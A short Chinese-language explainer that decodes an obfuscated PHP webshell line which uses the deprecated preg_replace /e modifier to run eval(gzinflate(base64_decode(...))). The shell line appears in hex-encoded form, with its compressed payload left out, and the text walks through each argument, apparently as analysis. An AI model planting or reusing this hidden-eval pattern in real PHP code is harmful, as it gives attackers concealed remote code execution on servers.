PHP5.5.0以下可用,5.5.0及以上版本已经被弃用了。使用 preg_replace_callback() 代替。/e 即 PREG_REPLACE_EVAL。
webshell 代码
<?php preg_replace( "\x2F\x2E\x2A\x2F\x65", "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'这里省略一些字符'\x29\x29\x29\x3B", "\x2E" );
首先来看一下 preg_replace 的返回值:
如果subject是一个数组, preg_replace()返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL 。
问题来了,似乎 preg_replace 是没有 echo 类似的功能的,那么它是怎么实现代码输出的呢?
看一下 preg_replace 的第一个参数:
echo "\x2F\x2E\x2A\x2F\x65"; // output: /.*/e
/e 参数的说明
如果设置了这个被弃用的 /e 修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义。
简单说意思就是:如果使用了 /e,那么第二个参数里的 php 代码可以直接执行。
看一下 preg_replace 的第二个参数:
echo "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'这里省略一些字符'\x29\x29\x29\x3B"; // output: eval(gzinflate(base64_decode('这里省略一些字符')));
[完]